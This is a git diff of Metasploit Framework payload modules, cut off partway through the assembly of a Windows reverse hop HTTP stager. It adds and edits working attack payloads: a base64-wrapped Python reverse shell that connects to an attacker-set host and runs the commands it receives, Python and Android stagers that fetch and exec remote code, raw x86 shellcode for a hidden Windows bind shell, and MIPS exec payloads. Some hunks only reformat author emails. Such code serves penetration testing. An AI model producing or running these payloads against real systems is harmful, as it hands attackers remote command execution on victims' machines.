a/modules/payloads/singles/firefox/shell_reverse_tcp.rb b/modules/payloads/singles/firefox/shell_reverse_tcp.rb index 92d32aa8c4..e3a8d572fe 100644 --- a/modules/payloads/singles/firefox/shell_reverse_tcp.rb +++ b/modules/payloads/singles/firefox/shell_reverse_tcp.rb @@ -6,6 +6,7 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' module Metasploit3 @@ -45,15 +46,16 @@ module Metasploit3 .createInstance(Components.interfaces.nsIInputStreamPump); pump.init(inStream, -1, -1, 0, 0, true); + #{read_until_token_source} + var listener = { onStartRequest: function(request, context) {}, onStopRequest: function(request, context) {}, - onDataAvailable: function(request, context, stream, offset, count) { - var data = NetUtil.readInputStreamToString(stream, count).trim(); + onDataAvailable: readUntilToken(function(data) { runCmd(data, function(err, output) { if (!err) outStream.write(output, output.length); }); - } + }) }; #{run_cmd_source} @@ -63,4 +65,5 @@ module Metasploit3 EOS end + end diff --git a/modules/payloads/singles/linux/mipsbe/exec.rb b/modules/payloads/singles/linux/mipsbe/exec.rb index a4e5dbda29..ed55d8e87e 100644 --- a/modules/payloads/singles/linux/mipsbe/exec.rb +++ b/modules/payloads/singles/linux/mipsbe/exec.rb @@ -19,7 +19,7 @@ module Metasploit3 }, 'Author' => [ - 'Michael Messner <devnull@s3cur1ty.de>', #metasploit payload + 'Michael Messner <devnull[at]s3cur1ty.de>', #metasploit payload 'entropy@phiral.net' #original payload ], 'References' => @@ -66,7 +66,13 @@ module Metasploit3 # # Constructs the payload # - return super + shellcode + command_string + "\x00" + + shellcode = shellcode + command_string + "\x00" + + # we need to align our shellcode to 4 bytes + (shellcode = shellcode + "\x00") while shellcode.length%4 != 0 + + return super + shellcode end diff --git a/modules/payloads/singles/linux/mipsbe/reboot.rb b/modules/payloads/singles/linux/mipsbe/reboot.rb index d6e15cb03b..40a7eab46b 100644 --- a/modules/payloads/singles/linux/mipsbe/reboot.rb +++ b/modules/payloads/singles/linux/mipsbe/reboot.rb @@ -20,8 +20,8 @@ module Metasploit3 }, 'Author' => [ - 'Michael Messner <devnull@s3cur1ty.de>', #metasploit payload - 'rigan - <imrigan@gmail.com>' #original payload + 'Michael Messner <devnull[at]s3cur1ty.de>', #metasploit payload + 'rigan - <imrigan[at]gmail.com>' #original payload ], 'References' => [ diff --git a/modules/payloads/singles/linux/mipsle/exec.rb b/modules/payloads/singles/linux/mipsle/exec.rb index b71feda883..c9a903edde 100644 --- a/modules/payloads/singles/linux/mipsle/exec.rb +++ b/modules/payloads/singles/linux/mipsle/exec.rb @@ -20,7 +20,7 @@ module Metasploit3 }, 'Author' => [ - 'Michael Messner <devnull@s3cur1ty.de>', #metasploit payload + 'Michael Messner <devnull[at]s3cur1ty.de>', #metasploit payload 'entropy@phiral.net' #original payload ], 'References' => @@ -62,12 +62,18 @@ module Metasploit3 "\xec\xff\xa0\xaf" + # sw zero,-20(sp) "\xe8\xff\xa5\x27" + # addiu a1,sp,-24 "\xab\x0f\x02\x24" + # li v0,4011 - "\x0c\x01\x01\x01" # + syscall 0x40404 + "\x0c\x01\x01\x01" # syscall 0x40404 # # Constructs the payload # - return super + shellcode + command_string + "\x00" + + shellcode = shellcode + command_string + "\x00" + + # we need to align our shellcode to 4 bytes + (shellcode = shellcode + "\x00") while shellcode.length%4 != 0 + + return super + shellcode end diff --git a/modules/payloads/singles/linux/mipsle/reboot.rb b/modules/payloads/singles/linux/mipsle/reboot.rb index 5bc3f12904..eb87522179 100644 --- a/modules/payloads/singles/linux/mipsle/reboot.rb +++ b/modules/payloads/singles/linux/mipsle/reboot.rb @@ -19,8 +19,8 @@ module Metasploit3 }, 'Author' => [ - 'Michael Messner <devnull@s3cur1ty.de>', #metasploit payload - 'rigan - <imrigan@gmail.com>' #original payload + 'Michael Messner <devnull[at]s3cur1ty.de>', #metasploit payload + 'rigan - <imrigan[at]gmail.com>' #original payload ], 'References' => [ diff --git a/modules/payloads/singles/php/bind_perl.rb b/modules/payloads/singles/php/bind_perl.rb index b5256c16d9..90d50c26d0 100644 --- a/modules/payloads/singles/php/bind_perl.rb +++ b/modules/payloads/singles/php/bind_perl.rb @@ -17,7 +17,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'PHP Command Shell, Bind TCP (via Perl)', 'Description' => 'Listen for a connection and spawn a command shell via perl (persistent)', - 'Author' => ['Samy <samy@samy.pl>', 'cazz'], + 'Author' => ['Samy <samy[at]samy.pl>', 'cazz'], 'License' => BSD_LICENSE, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/payloads/singles/php/bind_perl_ipv6.rb b/modules/payloads/singles/php/bind_perl_ipv6.rb index f6bca827aa..5495dbe8a9 100644 --- a/modules/payloads/singles/php/bind_perl_ipv6.rb +++ b/modules/payloads/singles/php/bind_perl_ipv6.rb @@ -17,7 +17,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'PHP Command Shell, Bind TCP (via perl) IPv6', 'Description' => 'Listen for a connection and spawn a command shell via perl (persistent) over IPv6', - 'Author' => ['Samy <samy@samy.pl>', 'cazz'], + 'Author' => ['Samy <samy[at]samy.pl>', 'cazz'], 'License' => BSD_LICENSE, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/payloads/singles/php/bind_php.rb b/modules/payloads/singles/php/bind_php.rb index 0887f27d5d..657c55e70b 100644 --- a/modules/payloads/singles/php/bind_php.rb +++ b/modules/payloads/singles/php/bind_php.rb @@ -19,7 +19,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'PHP Command Shell, Bind TCP (via PHP)', 'Description' => 'Listen for a connection and spawn a command shell via php', - 'Author' => ['egypt', 'diaul <diaul@devilopers.org>',], + 'Author' => ['egypt', 'diaul <diaul[at]devilopers.org>',], 'License' => BSD_LICENSE, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/payloads/singles/php/bind_php_ipv6.rb b/modules/payloads/singles/php/bind_php_ipv6.rb index 5f268896ac..c9717b9399 100644 --- a/modules/payloads/singles/php/bind_php_ipv6.rb +++ b/modules/payloads/singles/php/bind_php_ipv6.rb @@ -19,7 +19,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'PHP Command Shell, Bind TCP (via php) IPv6', 'Description' => 'Listen for a connection and spawn a command shell via php (IPv6)', - 'Author' => ['egypt', 'diaul <diaul@devilopers.org>',], + 'Author' => ['egypt', 'diaul <diaul[at]devilopers.org>',], 'License' => BSD_LICENSE, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/payloads/singles/php/shell_findsock.rb b/modules/payloads/singles/php/shell_findsock.rb index 0c86dc7f1a..a37bb7cbb4 100644 --- a/modules/payloads/singles/php/shell_findsock.rb +++ b/modules/payloads/singles/php/shell_findsock.rb @@ -33,7 +33,7 @@ module Metasploit3 Apache but it might work on other web servers that leak file descriptors to child processes. }, - 'Author' => [ 'egypt <egypt@metasploit.com>' ], + 'Author' => [ 'egypt' ], 'License' => BSD_LICENSE, 'Platform' => 'php', 'Handler' => Msf::Handler::FindShell, diff --git a/modules/payloads/singles/python/shell_reverse_tcp.rb b/modules/payloads/singles/python/shell_reverse_tcp.rb new file mode 100644 index 0000000000..1527ad9a26 --- /dev/null +++ b/modules/payloads/singles/python/shell_reverse_tcp.rb @@ -0,0 +1,68 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Command Shell, Reverse TCP (via python)', + 'Description' => 'Creates an interactive shell via python, encodes with base64 by design. Compatible with Python 2.3.3', + 'Author' => 'Ben Campbell', # Based on RageLtMan's reverse_ssl + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'python', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + cmd = '' + dead = Rex::Text.rand_text_alpha(2) + # Set up the socket + cmd << "import socket,os\n" + cmd << "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" + cmd << "so.connect(('#{datastore['LHOST']}',#{ datastore['LPORT']}))\n" + # The actual IO + cmd << "#{dead}=False\n" + cmd << "while not #{dead}:\n" + cmd << "\tdata=so.recv(1024)\n" + cmd << "\tif len(data)==0:\n\t\t#{dead}=True\n" + cmd << "\tstdin,stdout,stderr,=os.popen3(data)\n" + cmd << "\tstdout_value=stdout.read()+stderr.read()\n" + cmd << "\tso.send(stdout_value)\n" + + # Base64 encoding is required in order to handle Python's formatting requirements in the while loop + cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))" + + cmd + end + +end + diff --git a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb index 7601be09ea..652d094a5c 100644 --- a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb @@ -15,12 +15,12 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)', + 'Name' => 'Command Shell, Reverse TCP SSL (via python)', 'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.', 'Author' => 'RageLtMan', 'License' => BSD_LICENSE, 'Platform' => 'python', - 'Arch' => ARCH_CMD, + 'Arch' => ARCH_PYTHON, 'Handler' => Msf::Handler::ReverseTcpSsl, 'Session' => Msf::Sessions::CommandShell, 'PayloadType' => 'python', @@ -36,8 +36,7 @@ module Metasploit3 # Constructs the payload # def generate - vprint_good(command_string) - return super + command_string + super + command_string end # @@ -60,11 +59,10 @@ module Metasploit3 cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n" cmd += "\ts.send(stdout_value)\n" - # The *nix shell wrapper to keep things clean # Base64 encoding is required in order to handle Python's formatting requirements in the while loop cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))" - return cmd + cmd end - end + diff --git a/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb b/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb index a05617a8ad..af16d96ae0 100644 --- a/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb +++ b/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb @@ -18,7 +18,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'Windows Disable Windows ICF, Command Shell, Bind TCP Inline', 'Description' => 'Disable the Windows ICF, then listen for a connection and spawn a command shell', - 'Author' => 'Lin0xx <lin0xx [at] metasploit.com>', + 'Author' => 'Lin0xx <lin0xx[at]metasploit.com>', 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86, diff --git a/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb b/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb new file mode 100644 index 0000000000..d768feaa1b --- /dev/null +++ b/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb @@ -0,0 +1,79 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Windows + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows Command Shell, Hidden Bind TCP Inline', + 'Description' => 'Listen for a connection from certain IP and spawn a command shell. + The shellcode will reply with a RST packet if the connections is not + comming from the IP defined in AHOST. This way the port will appear + as "closed" helping us to hide the shellcode.', + 'Author' => + [ + 'vlad902', # original payload module (single_shell_bind_tcp) + 'sd', # original payload module (single_shell_bind_tcp) + 'Borja Merino <bmerinofe[at]gmail.com>' # Add Hidden ACL functionality + ], + 'License' => MSF_LICENSE, + 'References' => ['URL', 'http://www.shelliscoming.com/2014/03/hidden-bind-shell-keep-your-shellcode.html'], + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindTcp, + 'Session' => Msf::Sessions::CommandShell, + 'Payload' => + { + 'Offsets' => + { + 'LPORT' => [ 200, 'n' ], + 'AHOST' => [ 262, 'ADDR' ], + 'EXITFUNC' => [ 363, 'V' ], + }, + 'Payload' => + "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b" + + "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0" + + "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57" + + "\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01" + + "\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b" + + "\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4" + + "\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" + + "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24" + + "\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d" + + "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07" + + "\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00" + + "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff" + + "\xd5\x97\x31\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57" + + "\x68\xc2\xdb\x37\x67\xff\xd5\x6a\x01\x54\x68\x02\x30\x00\x00\x68" + + "\xff\xff\x00\x00\x57\x68\xf1\xa2\x77\x29\xff\xd5\x53\x57\x68\xb7" + + "\xe9\x38\xff\xff\xd5\x53\xe8\x17\x00\x00\x00\x8b\x44\x24\x04\x8b" + + "\x40\x04\x8b\x40\x04\x2d\xc0\xa8\x01\x21\x74\x03\x31\xc0\x40\xc2" + + "\x20\x00\x53\x53\x57\x68\x94\xac\xbe\x33\xff\xd5\x40\x74\xd6\x48" + + "\x57\x97\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3" + + "\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c" + + "\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56" + + "\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56" + + "\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68" + + "\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" + + "\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5" + } + )) + + register_options([ + OptAddress.new('AHOST', [true, "IP address allowed", nil]) + ]) + end + +end + diff --git a/modules/payloads/stagers/android/reverse_http.rb b/modules/payloads/stagers/android/reverse_http.rb new file mode 100644 index 0000000000..b552686343 --- /dev/null +++ b/modules/payloads/stagers/android/reverse_http.rb @@ -0,0 +1,58 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_http' + +module Metasploit3 + + include Msf::Payload::Stager + include Msf::Payload::Dalvik + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Dalvik Reverse HTTP Stager', + 'Description' => 'Tunnel communication over HTTP', + 'Author' => 'anwarelmakrahy', + 'License' => MSF_LICENSE, + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'Handler' => Msf::Handler::ReverseHttp, + 'Stager' => {'Payload' => ""} + )) + + register_options( + [ + OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10]) + ], self.class) + end + + def generate_jar(opts={}) + host = datastore['LHOST'] ? datastore['LHOST'].to_s : String.new + port = datastore['LPORT'] ? datastore['LPORT'].to_s : 8443.to_s + raise ArgumentError, "LHOST can be 32 bytes long at the most" if host.length + port.length + 1 > 32 + + jar = Rex::Zip::Jar.new + + classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'}) + string_sub(classes, 'ZZZZ ', "ZZZZhttp://" + host + ":" + port) + string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount'] + jar.add_file("classes.dex", fix_dex_header(classes)) + + files = [ + [ "AndroidManifest.xml" ], + [ "resources.arsc" ] + ] + + jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk")) + jar.build_manifest + + cert, key = generate_cert + jar.sign(key, cert, [cert]) + + jar + end + +end diff --git a/modules/payloads/stagers/android/reverse_https.rb b/modules/payloads/stagers/android/reverse_https.rb new file mode 100644 index 0000000000..a9496ebdf2 --- /dev/null +++ b/modules/payloads/stagers/android/reverse_https.rb @@ -0,0 +1,57 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_https' + +module Metasploit3 + + include Msf::Payload::Stager + include Msf::Payload::Dalvik + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Dalvik Reverse HTTPS Stager', + 'Description' => 'Tunnel communication over HTTPS', + 'Author' => 'anwarelmakrahy', + 'License' => MSF_LICENSE, + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'Handler' => Msf::Handler::ReverseHttps, + 'Stager' => {'Payload' => ""} + )) + + register_options( + [ + OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10]) + ], self.class) + end + + def generate_jar(opts={}) + host = datastore['LHOST'] ? datastore['LHOST'].to_s : String.new + port = datastore['LPORT'] ? datastore['LPORT'].to_s : 8443.to_s + raise ArgumentError, "LHOST can be 32 bytes long at the most" if host.length + port.length + 1 > 32 + + jar = Rex::Zip::Jar.new + + classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'}) + string_sub(classes, 'ZZZZ ', "ZZZZhttps://" + host + ":" + port) + string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount'] + jar.add_file("classes.dex", fix_dex_header(classes)) + + files = [ + [ "AndroidManifest.xml" ], + [ "resources.arsc" ] + ] + + jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk")) + jar.build_manifest + + cert, key = generate_cert + jar.sign(key, cert, [cert]) + + jar + end +end diff --git a/modules/payloads/stagers/android/reverse_tcp.rb b/modules/payloads/stagers/android/reverse_tcp.rb index d41922f40e..c4d263f72e 100644 --- a/modules/payloads/stagers/android/reverse_tcp.rb +++ b/modules/payloads/stagers/android/reverse_tcp.rb @@ -24,10 +24,11 @@ module Metasploit3 'Handler' => Msf::Handler::ReverseTcp, 'Stager' => {'Payload' => ""} )) - end - def string_sub(data, placeholder, input) - data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length)) + register_options( + [ + OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10]) + ], self.class) end def generate_jar(opts={}) @@ -35,46 +36,20 @@ module Metasploit3 classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'}) - string_sub(classes, '127.0.0.1 ', datastore['LHOST'].to_s) if datastore['LHOST'] - string_sub(classes, '4444 ', datastore['LPORT'].to_s) if datastore['LPORT'] + string_sub(classes, 'XXXX127.0.0.1 ', "XXXX" + datastore['LHOST'].to_s) if datastore['LHOST'] + string_sub(classes, 'YYYY4444 ', "YYYY" + datastore['LPORT'].to_s) if datastore['LPORT'] + string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount'] jar.add_file("classes.dex", fix_dex_header(classes)) files = [ [ "AndroidManifest.xml" ], - [ "res", "drawable-mdpi", "icon.png" ], - [ "res", "layout", "main.xml" ], [ "resources.arsc" ] ] jar.add_files(files, File.join(Msf::Config.data_directory, "android", "apk")) jar.build_manifest - x509_name = OpenSSL::X509::Name.parse( - "C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown" - ) - key = OpenSSL::PKey::RSA.new(1024) - cert = OpenSSL::X509::Certificate.new - cert.version = 2 - cert.serial = 1 - cert.subject = x509_name - cert.issuer = x509_name - cert.public_key = key.public_key - - # Some time within the last 3 years - cert.not_before = Time.now - rand(3600*24*365*3) - - # From http://developer.android.com/tools/publishing/app-signing.html - # """ - # A validity period of more than 25 years is recommended. - # - # If you plan to publish your application(s) on Google Play, note - # that a validity period ending after 22 October 2033 is a - # requirement. You can not upload an application if it is signed - # with a key whose validity expires before that date. - # """ - # The timestamp 0x78045d81 equates to 2033-10-22 00:00:01 UTC - cert.not_after = Time.at( 0x78045d81 + rand( 0x7fffffff - 0x78045d81 )) - + cert, key = generate_cert jar.sign(key, cert, [cert]) jar diff --git a/modules/payloads/stagers/python/bind_tcp.rb b/modules/payloads/stagers/python/bind_tcp.rb index cd9422023c..60753157c1 100644 --- a/modules/payloads/stagers/python/bind_tcp.rb +++ b/modules/payloads/stagers/python/bind_tcp.rb @@ -15,36 +15,38 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, 'Name' => 'Python Bind TCP Stager', - 'Description' => 'Python connect stager', + 'Description' => 'Listen for a connection', 'Author' => 'Spencer McIntyre', 'License' => MSF_LICENSE, 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'Handler' => Msf::Handler::BindTcp, 'Stager' => {'Payload' => ""} - )) + )) end # # Constructs the payload # def generate - cmd = '' # Set up the socket - cmd += "import socket,struct\n" - cmd += "s=socket.socket(2,1)\n" # socket.AF_INET = 2, socket.SOCK_STREAM = 1 - cmd += "s.bind(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" - cmd += "s.listen(1)\n" - cmd += "c,a=s.accept()\n" - cmd += "l=struct.unpack('>I',c.recv(4))[0]\n" - cmd += "d=c.recv(4096)\n" - cmd += "while len(d)!=l:\n" - cmd += "\td+=c.recv(4096)\n" - cmd += "exec(d,{'s':c})\n" + cmd = "import socket,struct\n" + cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 + cmd << "s.bind(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" + cmd << "s.listen(1)\n" + cmd << "c,a=s.accept()\n" + cmd << "l=struct.unpack('>I',c.recv(4))[0]\n" + cmd << "d=c.recv(4096)\n" + cmd << "while len(d)!=l:\n" + cmd << "\td+=c.recv(4096)\n" + cmd << "exec(d,{'s':c})\n" # Base64 encoding is required in order to handle Python's formatting requirements in the while loop - cmd = "import base64; exec(base64.b64decode('#{Rex::Text.encode_base64(cmd)}'))" - return cmd + b64_stub = "import base64,sys;exec(base64.b64decode(" + b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('" + b64_stub << Rex::Text.encode_base64(cmd) + b64_stub << "')))" + return b64_stub end def handle_intermediate_stage(conn, payload) diff --git a/modules/payloads/stagers/python/reverse_tcp.rb b/modules/payloads/stagers/python/reverse_tcp.rb index 765dc00f34..bbf7891414 100644 --- a/modules/payloads/stagers/python/reverse_tcp.rb +++ b/modules/payloads/stagers/python/reverse_tcp.rb @@ -15,34 +15,36 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, 'Name' => 'Python Reverse TCP Stager', - 'Description' => 'Reverse Python connect back stager', + 'Description' => 'Connect back to the attacker', 'Author' => 'Spencer McIntyre', 'License' => MSF_LICENSE, 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'Handler' => Msf::Handler::ReverseTcp, 'Stager' => {'Payload' => ""} - )) + )) end # # Constructs the payload # def generate - cmd = '' # Set up the socket - cmd += "import socket,struct\n" - cmd += "s=socket.socket(2,1)\n" # socket.AF_INET = 2, socket.SOCK_STREAM = 1 - cmd += "s.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" - cmd += "l=struct.unpack('>I',s.recv(4))[0]\n" - cmd += "d=s.recv(4096)\n" - cmd += "while len(d)!=l:\n" - cmd += "\td+=s.recv(4096)\n" - cmd += "exec(d,{'s':s})\n" + cmd = "import socket,struct\n" + cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 + cmd << "s.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" + cmd << "l=struct.unpack('>I',s.recv(4))[0]\n" + cmd << "d=s.recv(4096)\n" + cmd << "while len(d)!=l:\n" + cmd << "\td+=s.recv(4096)\n" + cmd << "exec(d,{'s':s})\n" # Base64 encoding is required in order to handle Python's formatting requirements in the while loop - cmd = "import base64; exec(base64.b64decode('#{Rex::Text.encode_base64(cmd)}'))" - return cmd + b64_stub = "import base64,sys;exec(base64.b64decode(" + b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('" + b64_stub << Rex::Text.encode_base64(cmd) + b64_stub << "')))" + return b64_stub end def handle_intermediate_stage(conn, payload) diff --git a/modules/payloads/stagers/windows/reverse_hop_http.rb b/modules/payloads/stagers/windows/reverse_hop_http.rb new file mode 100644 index 0000000000..66632ca9f8 --- /dev/null +++ b/modules/payloads/stagers/windows/reverse_hop_http.rb @@ -0,0 +1,291 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'uri' +require 'msf/core' +require 'msf/core/handler/reverse_hop_http' + +module Metasploit3 + + include Msf::Payload::Stager + include Msf::Payload::Windows + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Reverse Hop HTTP Stager', + 'Description' => %q{ Tunnel communication over an HTTP hop point. Note that you must first upload + data/hop/hop.php to the PHP server you wish to use as a hop. + }, + 'Author' => + [ + 'scriptjunkie <scriptjunkie[at]scriptjunkie.us>', + 'hdm' + ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseHopHttp, + 'Convention' => 'sockedi http', + 'DefaultOptions' => { 'WfsDelay' => 30 }, + 'Stager' => + { + 'Offsets' => + { + # None, they get embedded in the shellcode + } + } + )) + + deregister_options('LHOST', 'LPORT') + + register_options([ + OptString.new('HOPURL', [ true, "The full URL of the hop script", "http://example.com/hop.php" ] + ) + ], self.class) + end + + # + # Do not transmit the stage over the connection. We handle this via HTTP + # + def stage_over_connection? + false + end + + # + # Generate the first stage + # + def generate + uri = URI(datastore['HOPURL']) + #create actual payload + payload_data = <<EOS + cld ; clear direction flag + call start ; start main routine +; Stephen Fewer's block_api +; block_api code (Stephen Fewer) +api_call: + pushad ; We preserve all the registers for the caller, bar EAX and ECX. + mov ebp, esp ; Create a new stack frame + xor edx, edx ; Zero EDX + mov edx, fs:[edx+48] ; Get a pointer to the PEB + mov edx, [edx+12] ; Get PEB->Ldr + mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list +next_mod: + mov esi, [edx+40] ; Get pointer to modules name (unicode string) + movzx ecx, word [edx+38] ; Set ECX to the length we want to check + xor edi, edi ; Clear EDI which will store the hash of the module name +loop_modname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase +not_lowercase: ; + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + loop loop_modname ; Loop until we have read enough + ; We now have the module hash computed + push edx ; Save the current position in the module list for later + push edi ; Save the current module hash for later + ; Proceed to iterate the export address table, + mov edx, [edx+16] ; Get this modules base address + mov eax, [edx+60] ; Get PE header + add eax, edx ; Add the modules base address + mov eax, [eax+120] ; Get export tables RVA + test eax, eax ; Test if no export address table is present + jz get_next_mod1 ; If no EAT present, process the next module + add eax, edx ; Add the modules base address + push eax ; Save the current modules EAT + mov ecx, [eax+24] ; Get the number of function names + mov ebx, [eax+32] ; Get the rva of the function names + add ebx, edx ; Add the modules base address + ; Computing the module hash + function hash +get_next_func: ; + jecxz get_next_mod ; When we reach the start of the EAT (we search backwards) process next mod + dec ecx ; Decrement the function name counter + mov esi, [ebx+ecx*4] ; Get rva of next module name + add esi, edx ; Add the modules base address + xor edi, edi ; Clear EDI which will store the hash of the function name + ; And compare it to the one we want +loop_funcname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the ASCII function name + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add edi, [ebp-8] ; Add the current module hash to the function hash + cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for + jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... + pop eax ; Restore the current modules EAT + mov ebx, [eax+36] ; Get the ordinal table rva + add ebx, edx ; Add the modules 